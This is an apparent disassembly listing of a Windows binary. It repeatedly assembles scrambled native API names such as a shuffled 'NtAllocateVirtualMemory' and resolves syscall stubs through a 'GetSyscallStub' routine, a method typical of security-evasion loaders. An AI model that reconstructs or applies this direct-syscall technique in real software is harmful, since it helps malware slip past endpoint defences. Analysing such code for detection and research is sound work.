call fcn.21663a5f0
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x30f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x311f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3120]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x3120]
mov rcx, qword [rbp + 0x59e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x3120]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x21659442a
lea rbx, [0x216843ea9]
jmp 0x216594431
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x340f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x340f]
lea rax, [rbp + 0x33e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x33c0]
lea rdx, [rbp + 0x33e0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x216843ec9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x216843e9b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x216843ea3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x216843ea5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3160]
lea rdx, [rbp + 0x3180]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3140]
lea rdx, [rbp + 0x3160]
lea r8, [0x216843ea7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x3140]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x3140]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x33e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x340f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3410]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x3410]
mov rcx, qword [rbp + 0x59e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x3410]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x2165948cd
lea rbx, [0x216843ea9]
jmp 0x2165948d4
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x363f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x363f]
lea rax, [rbp + 0x3610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x35f0]
lea rdx, [rbp + 0x3610]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x216843ecb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x216843ecd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x216843ecf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x216843ed1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x216843ed3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3430]
lea rdx, [rbp + 0x3450]
lea r8, [0x216843ed5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x3430]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3610]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x363f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3640]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x3640]
mov rcx, qword [rbp + 0x59d8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x3640]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216594c68
lea rbx, [0x216843ea9]
jmp 0x216594c6f
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x382f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x382f]
lea rax, [rbp + 0x3800]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x37e0]
lea rdx, [rbp + 0x3800]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x216843ed7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3780]
lea rdx, [rbp + 0x37a0]
lea r8, [0x216843ed9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3760]
lea rdx, [rbp + 0x3780]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3740]
lea rdx, [rbp + 0x3760]
lea r8, [0x216843ea5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3720]
lea rdx, [rbp + 0x3740]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3700]
lea rdx, [rbp + 0x3720]
lea r8, [0x216843ecd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x36e0]
lea rdx, [rbp + 0x3700]
lea r8, [0x216843ecf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x36c0]
lea rdx, [rbp + 0x36e0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x36a0]
lea rdx, [rbp + 0x36c0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3680]
lea rdx, [rbp + 0x36a0]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3660]
lea rdx, [rbp + 0x3680]
lea r8, [0x216843ed1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x3660]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x3660]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3680]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x36a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x36c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x36e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3700]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3720]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3740]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3760]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3800]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x382f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3830]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x3830]
mov rcx, qword [rbp + 0x59d0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x3830]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216594fab
lea rbx, [0x216843ea9]
jmp 0x216594fb2
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x3aff]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x3aff]
lea rax, [rbp + 0x3ad0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3ab0]
lea rdx, [rbp + 0x3ad0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3a10]
lea rdx, [rbp + 0x3a30]
lea r8, [0x216843edb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x39f0]
lea rdx, [rbp + 0x3a10]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x39d0]
lea rdx, [rbp + 0x39f0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x39b0]
lea rdx, [rbp + 0x39d0]
lea r8, [0x216843edd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3990]
lea rdx, [rbp + 0x39b0]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3970]
lea rdx, [rbp + 0x3990]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3950]
lea rdx, [rbp + 0x3970]
lea r8, [0x216843ee1]
mov rcx, rax
